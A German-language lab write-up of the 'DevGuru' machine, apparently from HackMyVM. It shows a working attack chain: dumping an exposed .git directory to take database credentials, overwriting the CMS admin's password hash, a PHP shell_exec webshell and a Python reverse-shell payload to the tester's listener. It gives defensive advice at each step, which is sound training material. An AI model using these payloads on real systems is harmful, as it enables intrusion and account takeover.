Die erste Phase des Penetrationstests dient dazu, das Zielsystem im Netzwerk zu finden und Informationen über dessen Dienste und Konfigurationen zu sammeln.
192.168.2.107 08:00:27:43:81:45 PCS Systemtechnik GmbH
**Analyse:** Mit `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht. Wir identifizieren erfolgreich die IP-Adresse 192.168.2.107 als potenzielles Ziel.
**Bewertung:** Ziel-IP bestätigt. Dies ist die Basis für weitere Scans.
**Empfehlung (Pentester):** Die IP-Adresse für den Nmap-Scan verwenden. Hostnamen aus späteren Scans zur `/etc/hosts`-Datei hinzufügen, um die URL-basierte Erkundung zu erleichtern. **Empfehlung (Admin):** Netzwerksegmentierung und Monitoring können helfen, solche Scans zu erkennen und einzudämmen.
127.0.0.1 localhost
127.0.1.1 cyber
#192.168.2.107 whythisapiissofast.kitty.hmv kitty.hmv fake.local jwt.hmv
192.168.2.107 devguru.hmv
**Analyse:** Wir überprüfen unsere lokale `/etc/hosts`-Datei. Es ist bereits ein Eintrag vorhanden, der den Hostnamen `devguru.hmv` der gefundenen IP-Adresse 192.168.2.107 zuordnet. Dies wurde wahrscheinlich aufgrund vorheriger Informationen oder Annahmen hinzugefügt.
**Bewertung:** Das Vorhandensein dieses Eintrags ermöglicht es uns, das Zielsystem direkt über den Hostnamen `devguru.hmv` anzusprechen, was für die Web-Enumeration wichtig ist.
**Empfehlung (Pentester):** Immer gefundene oder vermutete Hostnamen zur `/etc/hosts`-Datei hinzufügen, um virtuelle Hosts korrekt zu scannen und Webanwendungen im Browser aufrufen zu können. **Empfehlung (Admin):** Sicherstellen, dass DNS-Einträge korrekt konfiguriert sind und interne Hostnamen nicht unnötig nach außen dringen.
Starting Nmap [...] Nmap scan report for devguru.local (192.168.2.107) Host is up [...] Not shown: [...] closed tcp ports [...] PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | [...] (RSA) | [...] (ECDSA) |_ [...] (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: DevGuru |_http-title: Corp - DevGuru | http-git: | 192.168.2.107:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: first commit | Remotes: | http://devguru.local:8585/frank/devguru-website.git |_ Project type: PHP application (guessed from .gitignore) |_http-server-header: Apache/2.4.29 (Ubuntu) 8585/tcp open unknown | fingerprint-strings: | [...] | GetRequest: | HTTP/1.0 200 OK | Content-Type: text/html; charset=UTF-8 | [...] | Set-Cookie: i_like_gitea=b5ca1e0f8efb7cf3; Path=/; HttpOnly | [...] |Gitea: Git with a cup of tea | [...] | HTTPOptions: | HTTP/1.0 404 Not Found | [...] |Page Not Found - Gitea: Git with a cup of tea | [...] 1 service unrecognized despite returning data. [...] MAC Address: 08:00:27:43:81:45 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] TRACEROUTE HOP RTT ADDRESS 1 0.12 ms devguru.local (192.168.2.107) [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
**Analyse:** Der detaillierte Nmap-Scan auf `192.168.2.107` liefert mehrere wichtige Informationen: * Port 22 (SSH): Läuft mit OpenSSH 7.6p1 (etwas älter, aber nicht unmittelbar kritisch). * Port 80 (HTTP): Apache 2.4.29 auf Ubuntu. Interessanterweise findet das Nmap-Skript `http-git` ein öffentlich zugängliches `.git`-Verzeichnis direkt im Web-Root. Es extrahiert sogar Informationen wie die letzte Commit-Nachricht und einen Remote-Pfad: `http://devguru.local:8585/frank/devguru-website.git`. Dies ist ein kritischer Fund, da er auf Quellcode-Leakage hindeutet und einen Link zum Dienst auf Port 8585 herstellt. Die Seite scheint mit "DevGuru" generiert worden zu sein. * Port 8585 (Unknown): Nmap kann den Dienst nicht direkt identifizieren, aber die Fingerprints (insbesondere HTTP-Header und Titel-Tags) deuten klar auf eine Gitea-Instanz hin (eine selbstgehostete Git-Service-Plattform). Das Cookie `i_like_gitea` bestätigt dies.
**Bewertung:** Der Nmap-Scan hat zwei extrem wertvolle Informationen geliefert: 1. Ein exponiertes `.git`-Verzeichnis auf Port 80, was uns potenziell den gesamten Quellcode der Webanwendung offenlegt. 2. Eine Gitea-Instanz auf Port 8585, die als Git-Remote für die Webanwendung dient. Diese beiden Punkte sind unsere Hauptangriffsvektoren.
**Empfehlung (Pentester):** Das exponierte `.git`-Verzeichnis mit Tools wie `gitdumper` herunterladen, um den Quellcode zu extrahieren. Die Gitea-Instanz auf Port 8585 untersuchen (Webinterface besuchen, nach Standard-Logins oder Registrierungsmöglichkeiten suchen). Den extrahierten Quellcode auf Hardcoded Credentials, Schwachstellen oder weitere Hinweise analysieren. **Empfehlung (Admin):** **Sofort den Zugriff auf das `.git`-Verzeichnis über den Webserver blockieren!** Dies ist eine schwere Sicherheitslücke. Die Gitea-Instanz absichern (Zugriff beschränken, Updates prüfen). Sicherstellen, dass keine sensiblen Daten in Git-Repositories committet werden.
[...] http://192.168.2.107/index.php (Status: 200) [Size: 12719] http://192.168.2.107/about (Status: 200) [Size: 18661] http://192.168.2.107/services (Status: 200) [Size: 10032] http://192.168.2.107/themes (Status: 301) [Size: 315] [--> http://192.168.2.107/themes/] http://192.168.2.107/modules (Status: 301) [Size: 316] [--> http://192.168.2.107/modules/] http://192.168.2.107/storage (Status: 301) [Size: 316] [--> http://192.168.2.107/storage/] http://192.168.2.107/plugins (Status: 301) [Size: 316] [--> http://192.168.2.107/plugins/] http://192.168.2.107/server.php (Status: 200) [Size: 0] http://192.168.2.107/backend (Status: 302) [Size: 410] [--> http://192.168.2.107/backend/backend/auth] http://192.168.2.107/vendor (Status: 301) [Size: 315] [--> http://192.168.2.107/vendor/] http://192.168.2.107/config (Status: 301) [Size: 315] [--> http://192.168.2.107/config/] http://192.168.2.107/adminer.php (Status: 200) [Size: 4228] [...]
**Analyse:** Wir führen einen `gobuster`-Verzeichnisscan auf Port 80 durch, um nach versteckten oder interessanten Dateien und Verzeichnissen zu suchen. Neben Standard-Verzeichnissen eines Web-Frameworks (wie `themes`, `modules`, `storage`, `plugins`, `vendor`, `config`, was auf ein CMS wie OctoberCMS oder Laravel hindeuten könnte) finden wir zwei besonders interessante Endpunkte: * `/backend`: Leitet auf eine Authentifizierungsseite (`/backend/backend/auth`) weiter. Dies ist wahrscheinlich der Admin-Login des CMS. * `/adminer.php`: Dies ist ein bekannter, dateibasierter Datenbank-Administrationsclient. Das Vorhandensein dieser Datei ist oft eine erhebliche Sicherheitslücke, wenn sie nicht ordnungsgemäß geschützt ist.
**Bewertung:** Der Gobuster-Scan bestätigt die Vermutung eines Frameworks/CMS und liefert zwei kritische Funde: den Admin-Login (`/backend`) und den Datenbank-Client (`/adminer.php`). `adminer.php` ist besonders vielversprechend, wenn wir Datenbank-Zugangsdaten finden.
**Empfehlung (Pentester):** Priorität hat nun das Herunterladen und Analysieren des `.git`-Verzeichnisses, um Zugangsdaten (insbesondere für die Datenbank) zu finden. Danach versuchen, auf `/adminer.php` mit den gefundenen Zugangsdaten zuzugreifen. Den `/backend`-Login im Auge behalten. **Empfehlung (Admin):** `adminer.php` und ähnliche Datenbank-Verwaltungstools niemals auf produktiven Webservern belassen. Wenn sie zur Entwicklung benötigt werden, Zugriff stark einschränken (IP-Filter, Authentifizierung). Admin-Bereiche (`/backend`) ordnungsgemäß absichern.
[...] ---- Scanning URL: http://devguru.local/ ---- + http://devguru.local/.git/HEAD (CODE:200|SIZE:23) + http://devguru.local/.htaccess (CODE:200|SIZE:1678) [...]
**Analyse:** Ein zusätzlicher Scan mit `dirb` (einem anderen Verzeichnis-Scanner) wird gestartet. Er findet ebenfalls das `.git`-Verzeichnis und eine `.htaccess`-Datei, bevor er abgebrochen wird. Die `.htaccess`-Datei könnte interessante Apache-Konfigurationen oder Regeln enthalten.
**Bewertung:** Bestätigt den Fund des `.git`-Verzeichnisses. Die `.htaccess`-Datei könnte ebenfalls nützlich sein, aber der Fokus liegt auf dem `.git`-Verzeichnis.
**Empfehlung (Pentester):** Den Inhalt der `.htaccess`-Datei herunterladen und prüfen. Hauptfokus bleibt das `.git`-Verzeichnis. **Empfehlung (Admin):** Sicherstellen, dass `.htaccess`-Dateien keine sensiblen Informationen oder unsicheren Konfigurationen enthalten.
Wir haben ein exponiertes `.git`-Verzeichnis auf dem Webserver gefunden. Wir nutzen nun spezielle Tools, um dieses Repository herunterzuladen und den ursprünglichen Quellcode wiederherzustellen, in der Hoffnung, sensible Informationen zu finden.
[*] Dumping http://devguru.local/.git/ [+] Downloaded: HEAD [...] [+] Downloaded: objects/53/648852097d71662c523146814687b1ca05aeb9 [+] Downloaded: objects/0f/df1864337b3e1d4a3f90156eda5c61cb1fdf80 [...] [+] Downloaded 7/7 objects
**Analyse:** Wir verwenden das Skript `gitdumper.sh` aus den "GitTools". Dieses Skript ist darauf spezialisiert, ein über HTTP zugängliches `.git`-Verzeichnis rekursiv herunterzuladen, indem es die Struktur des Git-Objektmodells nachbildet. Wir geben die URL des `.git`-Verzeichnisses und ein lokales Zielverzeichnis (`.`) an. Das Skript lädt erfolgreich alle benötigten Git-Objekte herunter.
**Bewertung:** Das Herunterladen des Repositories war erfolgreich. Wir haben nun eine lokale Kopie des `.git`-Verzeichnisses der Webanwendung.
**Empfehlung (Pentester):** Das heruntergeladene Repository mit dem `extractor.sh`-Skript (ebenfalls aus GitTools) oder `git checkout` untersuchen, um den Quellcode wiederherzustellen. **Empfehlung (Admin):** Zugriff auf `.git`-Verzeichnisse über Webserver dringend verhindern (z.B. durch Apache/Nginx-Konfiguration).
[*] Extracting objects [+] Found commit: 7de9115700c5656c670b34987c6fbffd39d90cf2 [+] Found file: themes/demo/assets/css/style.css [+] Found file: themes/demo/assets/images/about.jpg [...] [+] Found file: config/database.php [...] [+] Found folder: /root/devguru-hmv/extract/0-7de9115700c5656c670b34987c6fbffd39d90cf2/themes/demo/partials/site [+] Found file: /root/devguru-hmv/extract/0-7de9115700c5656c670b34987c6fbffd39d90cf2/themes/demo/partials/site/footer.htm [+] Found file: /root/devguru-hmv/extract/0-7de9115700c5656c670b34987c6fbffd39d90cf2/themes/demo/partials/site/header.htm [+] Found file: /root/devguru-hmv/extract/0-7de9115700c5656c670b34987c6fbffd39d90cf2/themes/demo/theme.yaml
**Analyse:** Wir verwenden das Skript `extractor.sh` auf das heruntergeladene `.git`-Verzeichnis (`.`). Das Skript analysiert die Git-Objekte und stellt die Dateistruktur des letzten Commits (`7de9...`) in einem Unterverzeichnis (`extract/0-7de9...`) wieder her. Es listet alle wiederhergestellten Dateien auf. Besonders interessant ist die gefundene Datei `config/database.php`.
**Bewertung:** Die Wiederherstellung des Quellcodes war erfolgreich. Wir haben nun Zugriff auf die Dateien der Webanwendung, insbesondere auf potenziell sensible Konfigurationsdateien.
**Empfehlung (Pentester):** Die wiederhergestellten Dateien, insbesondere `config/database.php` und andere Konfigurationsdateien (z.B. `config/app.php`), auf Zugangsdaten, API-Schlüssel oder andere sensible Informationen untersuchen. **Empfehlung (Admin):** Niemals sensible Daten wie Passwörter oder API-Keys direkt in Git-Repositories speichern. Konfigurationsmanagement-Tools oder Umgebungsvariablen verwenden.
return [ /* |-------------------------------------------------------------------------- | Default Database Connection Name |-------------------------------------------------------------------------- | | Here you may specify which of the database connections below you wish | to use as your default connection for all database work. Of course | you may use many connections at once using the Database library. | */ 'default' => env('DB_CONNECTION', 'mysql'), /* |-------------------------------------------------------------------------- | Database Connections |-------------------------------------------------------------------------- | | Here are each of the database connections setup for your application. | Of course, examples of configuring each database platform that is | supported by Winter CMS is provided below to make development simple. | | | All database work in Winter CMS is done through the PHP PDO facilities | so make sure you have the driver for your particular database of | choice installed on your machine before you begin development. | */ 'connections' => [ 'sqlite' => [ 'driver' => 'sqlite', 'database' => storage_path('database.sqlite'), // Absolute path 'prefix' => '', ], 'mysql' => [ 'driver' => 'mysql', 'engine' => 'InnoDB', 'host' => env('DB_HOST', 'localhost'), 'port' => env('DB_PORT', 3306), 'database' => env('DB_DATABASE', 'octoberdb'), 'username' => env('DB_USERNAME', 'october'), 'password' => env('DB_PASSWORD', 'SQ66EBYx4GT3byXH'), 'charset' => 'utf8mb4', 'collation' => 'utf8mb4_unicode_ci', 'prefix' => '', 'varcharmax' => 191, ], 'pgsql' => [ 'driver' => 'pgsql', 'host' => env('DB_HOST', 'localhost'), 'port' => env('DB_PORT', 5432), 'database' => env('DB_DATABASE', 'database'), 'username' => env('DB_USERNAME', 'root'), 'password' => env('DB_PASSWORD', ''), 'charset' => 'utf8', 'prefix' => '', 'schema' => 'public', ], 'sqlsrv' => [ 'driver' => 'sqlsrv', 'host' => env('DB_HOST', 'localhost'), 'port' => env('DB_PORT', 1433), 'database' => env('DB_DATABASE', 'database'), 'username' => env('DB_USERNAME', 'root'), 'password' => env('DB_PASSWORD', ''), 'prefix' => '', ], ], /* |-------------------------------------------------------------------------- | Migration Repository Table |-------------------------------------------------------------------------- | | This table keeps track of all the migrations that have already run for | your application. Using this information, we can determine which of | the migrations on disk haven't actually been run in the database. | */ 'migrations' => 'migrations', /* |-------------------------------------------------------------------------- | Redis Databases |-------------------------------------------------------------------------- | | Redis is an open source, fast, networked key-value data store server | with optional durability persistence. It is often used as a backend | for caching and messaging systems. Winter CMS makes it easy to dig right in. | */ 'redis' => [ 'cluster' => false, 'default' => [ 'host' => env('REDIS_HOST', 'localhost'), 'password' => env('REDIS_PASSWORD', null), 'port' => env('REDIS_PORT', 6379), 'database' => env('REDIS_DATABASE', 0), ], ], /* |-------------------------------------------------------------------------- | Use DB configuration for testing |-------------------------------------------------------------------------- | | When running plugin tests, migrate existing layers down and run tests | on a fresh empty DB specified by the default connection. Uses the same | database specified for the default connection by default. (Can be | overridden by specifying `database` in the `testing` connection below) | | Setting this value to `false` will use SQLite in memory unless a | `testing` connection is defined below. */ 'useConfigForTesting' => false, ];
**Analyse:** Wir untersuchen den Inhalt der wiederhergestellten `config/database.php`. Diese Datei enthält die Konfiguration für Datenbankverbindungen, typischerweise für ein PHP-Framework (hier wahrscheinlich OctoberCMS, ein Fork von Laravel, oder WinterCMS, ein Fork von OctoberCMS). Im `mysql`-Abschnitt finden wir hartcodierte Zugangsdaten: * Username: `october` * Passwort: `SQ66EBYx4GT3byXH` * Datenbank: `octoberdb` * Host: `localhost`
**Bewertung:** Dies ist ein kritischer Fund! Wir haben gültige Zugangsdaten für die MySQL-Datenbank (`octoberdb`) gefunden, die von der Webanwendung genutzt wird. Diese können wir nun verwenden, um über `/adminer.php` auf die Datenbank zuzugreifen.
**Empfehlung (Pentester):** Die gefundenen Zugangsdaten `october` / `SQ66EBYx4GT3byXH` verwenden, um sich über `http://devguru.local/adminer.php` mit der MySQL-Datenbank zu verbinden. Die Datenbank nach weiteren sensiblen Informationen durchsuchen, insbesondere nach Benutzer-Hashes für das CMS-Backend. **Empfehlung (Admin):** Zugangsdaten niemals hartcodiert im Quellcode speichern. Umgebungsvariablen (`.env`-Dateien, die *nicht* im Git sind) oder sicherere Konfigurationsmanagement-Systeme verwenden.
Mit den im Quellcode gefundenen Datenbank-Zugangsdaten versuchen wir nun, über das `adminer.php`-Interface auf die Datenbank zuzugreifen und die Kontrolle über das CMS zu erlangen.
# Aufruf: http://devguru.local/adminer.php # Eingabe im Adminer Login-Formular: System: MySQL Server: localhost Benutzername: october Passwort: SQ66EBYx4GT3byXH Datenbank: octoberdb # Ergebnis nach Klick auf "Anmelden": Erfolgreicher Zugriff auf die Datenbankoberfläche.
Version MySQL: 5.5.5-10.1.47-MariaDB-0ubuntu0.18.04.1 mit PHP-Erweiterung MySQLi Angemeldet als: october@localhost # Inhalt der Tabelle 'backend_users' (oder ähnlich): Ändern id first_name last_name login email password is_superuser bearbeiten 1 Frank Morris frank frank@devguru.local $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK 1
**Analyse:** Wir verwenden die Zugangsdaten (`october`/`SQ66EBYx4GT3byXH`) erfolgreich, um uns über `/adminer.php` mit der `octoberdb`-Datenbank auf `localhost` zu verbinden. In der Datenbank finden wir eine Tabelle, die Benutzerinformationen für das Backend enthält (vermutlich `backend_users`). Wir identifizieren einen Benutzer: * Login: `frank` * Passwort-Hash: `$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK` (Das `$2y$`-Präfix deutet auf einen Bcrypt-Hash hin). * `is_superuser`: 1 (Dieser Benutzer ist ein Administrator).
**Bewertung:** Wir haben Zugriff auf die Datenbank und den Passwort-Hash des CMS-Administrators `frank` gefunden. Da Bcrypt-Hashes schwer zu knacken sind, ist der nächste logische Schritt, den Hash in der Datenbank durch einen eigenen, bekannten Hash zu ersetzen.
**Empfehlung (Pentester):** Ein eigenes, sicheres Passwort wählen (z.B. `Benni1908`). Dieses Passwort mit einem Online-Bcrypt-Generator (oder einem lokalen Tool) hashen (wichtig: gleicher Algorithmus/Kostenfaktor wie der vorhandene Hash, falls möglich). Den generierten Hash verwenden, um den alten Hash des Benutzers `frank` in der Datenbank über Adminer zu überschreiben. Anschließend versuchen, sich im CMS-Backend (`http://devguru.local/backend`) als `frank` mit dem neuen Passwort (`Benni1908`) anzumelden. **Empfehlung (Admin):** Datenbankzugriff vom Webserver aus einschränken (Netzwerk, Benutzerrechte). `adminer.php` entfernen. CMS-Passwörter sollten eine hohe Komplexität aufweisen.
# Eingabe: Password: Benni1908 # Ausgabe (Beispiel für Bcrypt Hash mit Kostenfaktor 12): $2a$12$T3T/.0I2FwmpQmyDIwiKGumC0rkzBQcchFwFpl3gEzqe1QFRKu7fm
# Tabelle 'backend_users' auswählen. # Zeile für Benutzer 'frank' bearbeiten. # Im Feld 'password' den alten Hash durch den neu generierten ersetzen: Passwort: $2a$12$T3T/.0I2FwmpQmyDIwiKGumC0rkzBQcchFwFpl3gEzqe1QFRKu7fm # Speichern. Datensatz wurde aktualisiert.
**Analyse:** Wir wählen das Passwort `Benni1908` und generieren den entsprechenden Bcrypt-Hash (`$2a$12$...`). Anschließend nutzen wir Adminer, um den alten Passwort-Hash des Benutzers `frank` in der Datenbank durch unseren neu generierten Hash zu ersetzen.
**Bewertung:** Das Passwort für den CMS-Admin `frank` wurde erfolgreich auf `Benni1908` zurückgesetzt.
**Empfehlung (Pentester):** Nun zum CMS-Backend (`/backend`) navigieren und versuchen, sich als `frank` mit dem Passwort `Benni1908` anzumelden. **Empfehlung (Admin):** Regelmäßige Passwort-Audits durchführen. Zugriff auf Datenbank-Tools wie Adminer im Produktivbetrieb verhindern.
# Aufruf: http://devguru.local/backend # Eingabe im Login-Formular: Username: frank Password: Benni1908 # Ergebnis nach Klick auf "Login": Erfolgreicher Login in das CMS-Backend.
**Analyse:** Wir melden uns erfolgreich im Backend des CMS (vermutlich OctoberCMS/WinterCMS) als Administrator `frank` mit dem von uns gesetzten Passwort an.
**Bewertung:** Wir haben die Kontrolle über das CMS als Administrator erlangt. Dies ist ein bedeutender Fortschritt.
**Empfehlung (Pentester):** Das CMS-Backend nach Funktionen durchsuchen, die eine Codeausführung ermöglichen (z.B. Template-Bearbeitung, Plugin-Upload, Dateimanager). **Empfehlung (Admin):** CMS und alle Plugins aktuell halten. Admin-Zugänge mit starken Passwörtern und idealerweise 2FA schützen.
Nachdem wir administrativen Zugriff auf das CMS erlangt haben, suchen wir nach einer Möglichkeit, Code auf dem Server auszuführen, um eine Shell zu bekommen. Viele CMS erlauben Admins das Bearbeiten von Template-Dateien.
# Navigation zu einem Bereich für Template- oder Seitencode-Bearbeitung (z.B. CMS -> Pages -> home) # Umschalten zur "Code"-Ansicht der Seite. # Einfügen von PHP-Code in den `onStart()`-Funktionsblock (oder einen ähnlichen Block, der bei Seitenaufruf ausgeführt wird): function onStart() { $this->page["evilVar"] = shell_exec($GET['cmd']); } # Einfügen einer Ausgabe-Anweisung im Markup/HTML-Teil der Seite, um das Ergebnis des Befehls anzuzeigen: {{ this.page.evilVar }} # Speichern der geänderten Seite.
**Analyse:** Wir finden im CMS-Backend eine Möglichkeit, den PHP-Code und das Markup einer Seite (hier der Homepage) zu bearbeiten. 1. Wir fügen PHP-Code hinzu, der die PHP-Funktion `shell_exec()` verwendet, um den Wert des GET-Parameters `cmd` als Systembefehl auszuführen. Das Ergebnis des Befehls wird in einer Seitenvaiable `evilVar` gespeichert. 2. Wir fügen im HTML/Markup-Teil der Seite einen Platzhalter `{{ this.page.evilVar }}` hinzu, der den Inhalt dieser Variable (also die Ausgabe unseres Shell-Befehls) anzeigt. Diese Kombination ermöglicht es uns, beliebige Befehle über den `cmd`-Parameter in der URL der Homepage auszuführen und deren Ausgabe direkt im Browser zu sehen.
**Bewertung:** Wir haben erfolgreich eine Remote Code Execution (RCE)-Schwachstelle über die CMS-Template-Bearbeitung implementiert. Dies gibt uns die Möglichkeit, Befehle als der Benutzer auszuführen, unter dem der Webserver (Apache) läuft (typischerweise `www-data`).
**Empfehlung (Pentester):** Die RCE testen, indem die Homepage mit einem einfachen Befehl im `cmd`-Parameter aufgerufen wird (z.B. `http://devguru.local/?cmd=id`). Anschließend eine Reverse Shell aufbauen. **Empfehlung (Admin):** Die Möglichkeit zur direkten PHP-Code-Ausführung in CMS-Templates einschränken oder deaktivieren, wenn möglich. Dateiberechtigungen so setzen, dass der Webserver-Benutzer keine Template-Dateien schreiben kann (erschwert jedoch Updates/Verwaltung). Regelmäßige Code-Audits durchführen.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 13006 0 13006 0 0 126k 0 --:--:-- --:--:-- --:--:-- 127k
uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** Wir verwenden `curl`, um die Homepage aufzurufen und den Befehl `id` über den `cmd`-Parameter zu übergeben. Wir leiten die Standardfehlerausgabe (`2`) in die Standardausgabe (`>&1`) um und filtern (`grep`) nach der Zeichenkette `uid`. Die Ausgabe `uid=33(www-data)...` bestätigt, dass die RCE funktioniert und die Befehle als Benutzer `www-data` ausgeführt werden.
**Bewertung:** POC für die RCE erfolgreich.
**Empfehlung (Pentester):** Eine Reverse Shell mit einem geeigneten Payload über den `cmd`-Parameter starten. **Empfehlung (Admin):** Siehe vorherige Empfehlung zur Absicherung der Template-Bearbeitung.
Wir bereiten den Empfang der Reverse Shell vor, indem wir einen Listener starten und den entsprechenden Payload über die RCE ausführen.
listening on [any] 4444 ...
# Aufruf der URL (URL-codierter Python Reverse Shell Payload): http://devguru.local/?cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%22192.168.2.109%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22sh%22)%27
listening on [any] 4444 ... connect to [192.168.2.109] from (UNKNOWN) [192.168.2.107] 33162 $ # Shell erhalten!
**Analyse:** Wir starten einen Netcat-Listener auf unserer Angreifer-Maschine (`192.168.2.109`) auf Port `4444`. Anschließend rufen wir die Homepage des Ziels auf und übergeben einen URL-codierten Python3-Reverse-Shell-Payload im `cmd`-Parameter. Dieser Payload verbindet sich zurück zu unserem Listener und startet eine `sh`-Shell. Unser Listener meldet die eingehende Verbindung vom Ziel (`192.168.2.107`), und wir erhalten einen Shell-Prompt (`$`).
**Bewertung:** Initial Access als `www-data` erfolgreich! Wir haben eine Reverse Shell über die RCE-Schwachstelle im CMS erhalten.
**Empfehlung (Pentester):** Die Shell stabilisieren (`pty.spawn`, `stty raw -echo`, etc.). Die Umgebung als `www-data` erkunden und nach Wegen zur Privilege Escalation suchen. **Empfehlung (Admin):** Sicherheitsvorfall! Die RCE-Schwachstelle im CMS beheben. Nach Persistenzmechanismen suchen. System überprüfen.
Wir stabilisieren die erhaltene Shell.
^Z
zsh: suspended nc -lvnp 4444
[1] + continued nc -lvnp 4444
**Analyse:** Wir führen die Standardprozedur zur Shell-Stabilisierung durch: Starten einer Bash mit `pty.spawn`, Setzen der `TERM`-Variable, Pausieren von `nc` mit `Ctrl+Z`, Setzen des lokalen Terminals auf `raw -echo` und Wiederaufnahme von `nc` mit `fg`. Optional `reset` zur Korrektur der Anzeige.
**Bewertung:** Wir haben nun eine voll funktionsfähige, interaktive Shell als Benutzer `www-data`.
**Empfehlung (Pentester):** Mit der Privilege Escalation beginnen. `sudo -l`, SUID-Dateien, Cronjobs, Konfigurationsdateien, laufende Prozesse etc. prüfen. **Empfehlung (Admin):** Monitoring auf Shell-Stabilisierungsversuche.
Wir sind als `www-data` auf dem System und suchen nach Wegen, unsere Rechte zu erhöhen. Wir prüfen Standard-Vektoren wie `sudo` und SUID-Dateien, finden aber einen Hinweis auf eine Gitea-Konfigurationsdatei.
[sudo] password for www-data: # Passwort unbekannt, sudo -l nicht direkt möglich
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
sudo: 3 incorrect password attempts
273434 428 -rwsr-xr-x 1 root root 436552 Feb 9 2018 /usr/lib/openssh/ssh-keysign
262515 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
274024 80 -rwsr-xr-x 1 root root 80056 Jun 5 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
274114 16 -rwsr-xr-x 1 root root 14328 Jul 13 2018 /usr/lib/policykit-1/polkit-agent-helper-1
262505 44 -rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
262244 76 -rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
262303 40 -rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
262181 44 -rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
274085 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
262394 148 -rwsr-xr-x 1 root root 149080 Jan 17 2018 /usr/bin/sudo
273598 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
274086 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
274111 24 -rwsr-xr-x 1 root root 22520 Jul 13 2018 /usr/bin/pkexec
262314 60 -rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
262179 76 -rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
273378 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
786493 44 -rwsr-xr-x 1 root root 43088 May 16 2018 /bin/mount
786520 44 -rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
792089 144 -rwsr-xr-x 1 root root 146128 Nov 30 2017 /bin/ntfs-3g
786537 28 -rwsr-xr-x 1 root root 26696 May 16 2018 /bin/umount
786502 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
792080 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
frank 838 0.1 10.5 1589892 215068 ? Ssl 07:09 0:11 /usr/local/bin/gitea web --config /etc/gitea/app.ini
www-data 2486 0.0 0.0 11464 1096 pts/1 S+ 08:45 0:00 grep frank
**Analyse:** * `sudo -l`: Wir versuchen, die Sudo-Rechte für `www-data` zu prüfen, benötigen aber das Passwort, das wir nicht haben. * `find / -type f -perm -4000 -ls 2>/dev/null`: Die Suche nach SUID-Dateien zeigt nur Standard-Linux-Binaries. Es gibt keine offensichtlich unsicheren oder benutzerdefinierten SUID-Dateien. Die `sudo`-Version ist `1.8.21p2` (aus Dateidatum und Standard für Ubuntu 18.04 abgeleitet), die potenziell für einige CVEs anfällig sein könnte, aber das ist nicht der primäre Weg hier. * `echo $PATH`: Zeigt die Standard-Pfade. * `ps aux | grep frank`: Wir listen alle Prozesse auf und filtern nach "frank". Wir finden einen laufenden Gitea-Prozess, der vom Benutzer `frank` gestartet wurde und die Konfigurationsdatei `/etc/gitea/app.ini` verwendet.
**Bewertung:** Standard-Enumeration wie `sudo -l` und SUID-Suche liefern keinen direkten Weg. Der Fund des Gitea-Prozesses, der als Benutzer `frank` läuft, ist jedoch sehr wichtig. Wenn wir Zugriff auf die Gitea-Konfiguration oder -Datenbank erhalten, könnten wir möglicherweise das Passwort für `frank` ändern oder anderweitig seine Rechte erlangen.
**Empfehlung (Pentester):** Automatisierte Enumerationsskripte wie `linpeas.sh` oder `lse.sh` ausführen, um häufige Fehlkonfigurationen und Privesc-Vektoren zu finden. Die Gitea-Konfigurationsdatei (`/etc/gitea/app.ini`) untersuchen, falls Leserechte bestehen. Nach Backups oder anderen Orten suchen, an denen Konfigurationsdaten gespeichert sein könnten. **Empfehlung (Admin):** Prozessüberwachung implementieren. Sicherstellen, dass Konfigurationsdateien korrekte Berechtigungen haben und keine sensiblen Daten leaken.
Wir führen `linpeas.sh` (oder ein ähnliches Skript) aus, das uns auf ein Backup der Gitea-Konfigurationsdatei hinweist.
[...]
Found the backup of the app.ini here : /var/backups/app.ini.bak
[...]
APP_NAME = Gitea: Git with a cup of tea RUN_USER = frank RUN_MODE = prod [database] DB_TYPE = mysql HOST = 127.0.0.1:3306 NAME = gitea USER = gitea PASSWD = UfFPTF8C8jjxVF2m SSL_MODE = disable CHARSET = utf8mb4 LOG_SQL = false PATH = /var/lib/gitea/data/gitea.db [...]
